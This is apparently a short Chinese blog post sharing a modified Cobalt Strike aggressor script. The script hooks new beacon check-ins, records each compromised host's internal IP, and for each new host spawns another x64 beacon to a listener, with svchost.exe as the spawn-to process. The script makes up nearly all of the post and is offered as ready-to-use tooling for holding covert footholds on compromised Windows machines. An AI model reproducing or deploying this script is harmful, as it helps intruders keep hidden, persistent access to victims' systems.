1、由于上线之后容易挂,所以改了一个插件实现每个不同IP自动spawn一次,原作者的插件有点问题,只能支持一个IP
ps:cna的sleep编程语言属实是硬写的,不过起码功能实现了
@a = @();
@c = @();
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
println("a_list:".@a);
@b = @();
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
add(@b,$internalIP)
println("b_list:".@b);
foreach $c (@b){
if ($c in @c){
println("Exist!")
}else{
println("Spawning");
bspawnto($1, "x64", "%windir%\\sysnative\\svchost.exe");
bspawn($1, "80", "x64");
}
}
foreach $beacon (beacons()) {
add(@a,$beacon['internal']);
}
addAll(@c,@a);
println("Final_a_list:".@a);
println("Final_list:".@c);
clear(@a);
}
参考: